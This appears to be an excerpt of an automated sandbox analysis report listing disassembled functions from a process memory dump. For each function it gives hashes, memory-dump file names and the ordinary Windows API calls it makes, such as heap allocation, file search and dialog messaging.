Opcode ID: 60e38544c5140dd777f2505f46e724a76a63bcd075357ac0f8b82f1780d3adbe
Instruction ID: ce392b411794af8b110d702af50047a509c27ac7f920e5364557dbd5c677b070
Opcode Fuzzy Hash: 60e38544c5140dd777f2505f46e724a76a63bcd075357ac0f8b82f1780d3adbe
Instruction Fuzzy Hash: FBC1E370A00264DFEF15CF28D498BA97BB5BF29310F4841B9EC459B396DB389944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00723BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00723BBF

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 50fd62d638450a44173809733a4baa6e25f312f0e1f8916ff8e52a1ccf23a18a
Instruction ID: 94a8a1a4b0e010a29eac262d803d30d48e2c15b3a27b23a6005c33ba78357b54
Opcode Fuzzy Hash: 50fd62d638450a44173809733a4baa6e25f312f0e1f8916ff8e52a1ccf23a18a
Instruction Fuzzy Hash: ED71F571500B94DEDB35DB70D8499E7B7E9AF14300F41092EF2AB87242DA3E6A88CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00728284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00728289

Part of subcall function 007213DC: __EH_prolog.LIBCMT ref: 007213E1

Part of subcall function 0072A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0072A598

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 403cf7a6dcf90417157e871e07196be5ba01aec1f4023d709398616d4e377386
Instruction ID: ca0473e300d949835e80a01aafb6c13adbe4f5e2ec7d96ab6497bb3ca089f195
Opcode Fuzzy Hash: 403cf7a6dcf90417157e871e07196be5ba01aec1f4023d709398616d4e377386
Instruction Fuzzy Hash: DB41B871945668DADB20EB60DC59AEEB3B8BF10304F4404EBE14A57083EB795FC5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 007213E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 007213E1

Part of subcall function 00725E37: __EH_prolog.LIBCMT ref: 00725E3C

Part of subcall function 0072CE40: __EH_prolog.LIBCMT ref: 0072CE45

Part of subcall function 0072B505: __EH_prolog.LIBCMT ref: 0072B50A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6c4301617b872a70e0fddc6c00422dc13d80e7165ba3bf753f6292853f58969f
Instruction ID: 979f42b91b62af22fc69bfa6a0b135a87016bd7abcb1f0a40a14d3b91579e321
Opcode Fuzzy Hash: 6c4301617b872a70e0fddc6c00422dc13d80e7165ba3bf753f6292853f58969f
Instruction Fuzzy Hash: 23415DB0905B40DEE724DF398889AE6FBE5BF28300F50492EE5FE87282C7356654CB10

Uniqueness

Uniqueness Score: -1.00%

Function 007213DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 007213E1

Part of subcall function 00725E37: __EH_prolog.LIBCMT ref: 00725E3C

Part of subcall function 0072CE40: __EH_prolog.LIBCMT ref: 0072CE45

Part of subcall function 0072B505: __EH_prolog.LIBCMT ref: 0072B50A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: abed1cffc514613976da7f9e4e2c4a99f2643eefd9814034490df0aecc0af336
Instruction ID: db7f6d9c3f385ac81b0bf5ecb1ccdab9be622274af07af1fa3ea6ddeec1f48b2
Opcode Fuzzy Hash: abed1cffc514613976da7f9e4e2c4a99f2643eefd9814034490df0aecc0af336
Instruction Fuzzy Hash: E8413AB0905B40DEE724DF798889AE6FBE5BF29300F50492ED5FE87282CB756654CB10

Uniqueness

Uniqueness Score: -1.00%

Function 0073B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0073B098

Part of subcall function 007213DC: __EH_prolog.LIBCMT ref: 007213E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d3c94d4f48a01ba3db05e6b93154f1cd19979db7db2cbb54d986cc2b48343c94
Instruction ID: f2195bb828fe8b2ea82a809d70679526c7a4aa0e698cad56240c6d1306bdc8d9
Opcode Fuzzy Hash: d3c94d4f48a01ba3db05e6b93154f1cd19979db7db2cbb54d986cc2b48343c94
Instruction Fuzzy Hash: 12319E71C00259DADF15DF64D855AEEBBB4AF19300F5044AEE409B3242D779AF04CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0074AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0074ACF8

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 97c4724bc64c193d23198ec98cd5ddc2944f1748fc3fa595c1099496600009d1
Instruction ID: 1345c6250d9fee23df933212a0fdbfba1fa5235bdc7c76e2c28e0bfce3efe5dc
Opcode Fuzzy Hash: 97c4724bc64c193d23198ec98cd5ddc2944f1748fc3fa595c1099496600009d1
Instruction Fuzzy Hash: F311CA33B40625BF9B259F28DC9099A7395EB8436171A8520FD15AB298DB38DD018BE2

Uniqueness

Uniqueness Score: -1.00%

Function 0072CE40 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0072CE45

Part of subcall function 00725E37: __EH_prolog.LIBCMT ref: 00725E3C

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1c58f78c3537fcea649f411b7033894026d20ed36ea5107722bf078d6209edcc
Instruction ID: c327d65058cebc1cf9e283d4340559b4f3bf802326779a77646bc6ebf21e66d9
Opcode Fuzzy Hash: 1c58f78c3537fcea649f411b7033894026d20ed36ea5107722bf078d6209edcc
Instruction Fuzzy Hash: 5E11A3B1A00354DEEB16DB79D509BAEB7E89F54300F14046DE446D3282DB785F04CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00729215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0072921A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fe89e3260542cda57e5efbdc10422130a09d87aadc1c3bb41e63df4b58faf4e6
Instruction ID: 8e0d87010a66ee6d2e4e84a7e2982be8684e39c9a78e285c6f09310a376ac642
Opcode Fuzzy Hash: fe89e3260542cda57e5efbdc10422130a09d87aadc1c3bb41e63df4b58faf4e6
Instruction Fuzzy Hash: 04018233900538EBCF26EBA8DC869DEB775FF88740F054125E912B7152DA38CD14C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 0074C479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0074B136: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00749813,00000001,00000364,?,00743F73,00000050,?,00761030,00000200), ref: 0074B177

_free.LIBCMT ref: 0074C4E5

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: 349474441d809b23eae72f7768b31798753720e24c4e15b8a5b28c00019568f2
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: 7C014972200345ABE3318F69C88596AFBECFB85330F25052DE184832C1EB34A805C774

Uniqueness

Uniqueness Score: -1.00%

Function 0074B136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00749813,00000001,00000364,?,00743F73,00000050,?,00761030,00000200), ref: 0074B177

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0b79ec3cf191a2f86296faee576d29a9cc35fccec3a504a14671c67922f90b78
Instruction ID: 5c4180f35686233cfb0499b650afed762215a3dab5c57551a3d8cf4527a29f90
Opcode Fuzzy Hash: 0b79ec3cf191a2f86296faee576d29a9cc35fccec3a504a14671c67922f90b78
Instruction Fuzzy Hash: 9FF0E93264512CB7DB215B35AC19B9F3748AF41770B198111FC0897190DB2CDD0182E1

Uniqueness

Uniqueness Score: -1.00%

Function 00743C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00743C3F

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: e5a24f1f116383bad74cffdbc9cb244dbfea8cd4572de7929fc94cb958ba1fee
Instruction ID: 77c60563b323183ffd2bf31ad363e4a5a393295e218996c0181634a678b7c6ca
Opcode Fuzzy Hash: e5a24f1f116383bad74cffdbc9cb244dbfea8cd4572de7929fc94cb958ba1fee
Instruction Fuzzy Hash: 8FF0EC362003169FDF114E68EC4499A7799EF01B617104125FE1DE71D0DB35EA20C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00748E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0074CA2C,00000000,?,00746CBE,?,00000008,?,007491E0,?,?,?), ref: 00748E38

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 819bd5a456fc27f8128ab358645ed0537c142d4678b07e4499d94c74c7380152
Instruction ID: 7d0e8fd4f42fdcbc3c3c5028e8097820cf0fcc4eb74f6c428113469b6c17734e
Opcode Fuzzy Hash: 819bd5a456fc27f8128ab358645ed0537c142d4678b07e4499d94c74c7380152
Instruction Fuzzy Hash: 17E06D3124623DA7EAF126759C09B9F76489F41BA8F2A4161BC1996091DF6DCC0182E7

Uniqueness

Uniqueness Score: -1.00%

Function 00725ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00725AC2

Part of subcall function 0072B505: __EH_prolog.LIBCMT ref: 0072B50A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fd461250f5b897ad6a7e58a6eeeb0d68f636b3a9ccdce60cd6a94a2a707c1f5e
Instruction ID: aa4ddce96ca0a227c7565126fe48c0e30ea1ee8781384a146687d48442595e5e
Opcode Fuzzy Hash: fd461250f5b897ad6a7e58a6eeeb0d68f636b3a9ccdce60cd6a94a2a707c1f5e
Instruction Fuzzy Hash: A901AF30810794DAE725EBB8C06A7DEFBE4DF64304F50848DE45653283CBB91B08DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00729620 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,007295D6,?,?,?,?,?,00752641,000000FF), ref: 0072963B

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b91104a3384c18c4752c9843e409e25b63a1207ab07e7ede4f483a8b196c164d
Instruction ID: 22ae1defe09b50a8f620567bb2664f3e45299bdf79b2b10c5f5df64693671358
Opcode Fuzzy Hash: b91104a3384c18c4752c9843e409e25b63a1207ab07e7ede4f483a8b196c164d
Instruction Fuzzy Hash: B8F0E270081B259FDB308A20E848B92B7F8AB12321F082B1ED1E7429E0D369698D9A40

Uniqueness

Uniqueness Score: -1.00%

Function 0072A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0072A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0072A592,000000FF,?,?), ref: 0072A6C4
Part of subcall function 0072A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0072A592,000000FF,?,?), ref: 0072A6F2
Part of subcall function 0072A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0072A592,000000FF,?,?), ref: 0072A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0072A598

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 0989ca8f21a701431b104e24f8766958189a096acaa50b11dc1721f2d0a3d9bd
Instruction ID: e8755cf037f864fcd39b8f9dd5fad6ce382b2500148145cd3db4323ed5078aa7
Opcode Fuzzy Hash: 0989ca8f21a701431b104e24f8766958189a096acaa50b11dc1721f2d0a3d9bd
Instruction Fuzzy Hash: 10F082310087A0FBCB2257B4A908BCB7BD16F5A331F048A49F1FD52196C37950A49B33

Uniqueness

Uniqueness Score: -1.00%

Function 00730E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00730E3D

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 713d43d28a49736ca257f09d5ff34c29aa39ebcd3b80d1324bc657f5ed069dab
Instruction ID: 8dd55f9ec05724f23a8afb1fcaf761f60bbf81ceaa2ee73b3d973e555abe7fce
Opcode Fuzzy Hash: 713d43d28a49736ca257f09d5ff34c29aa39ebcd3b80d1324bc657f5ed069dab
Instruction Fuzzy Hash: 33D0C25170116896EE113328282D7FE260A8FC6311F0C0066F04A57283CE9C0C82A2B1

Uniqueness

Uniqueness Score: -1.00%

Function 0073A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 0073A62C

Part of subcall function 0073A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0073A3DA

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: e947b35635b61c12c20aa5b3d3b0376d3b05018a52aed7c1a4acfe5e96d56d30
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: 34D0C971214209FAFF426B618C17D6EBA99EB01340F048125B8C2D5193EAB9DD10A663

Uniqueness

Uniqueness Score: -1.00%

Function 0073DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00731B3E), ref: 0073DD92

Part of subcall function 0073B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0073B579
Part of subcall function 0073B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0073B58A
Part of subcall function 0073B568: IsDialogMessageW.USER32(000104AA,?), ref: 0073B59E
Part of subcall function 0073B568: TranslateMessage.USER32(?), ref: 0073B5AC
Part of subcall function 0073B568: DispatchMessageW.USER32(?), ref: 0073B5B6

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
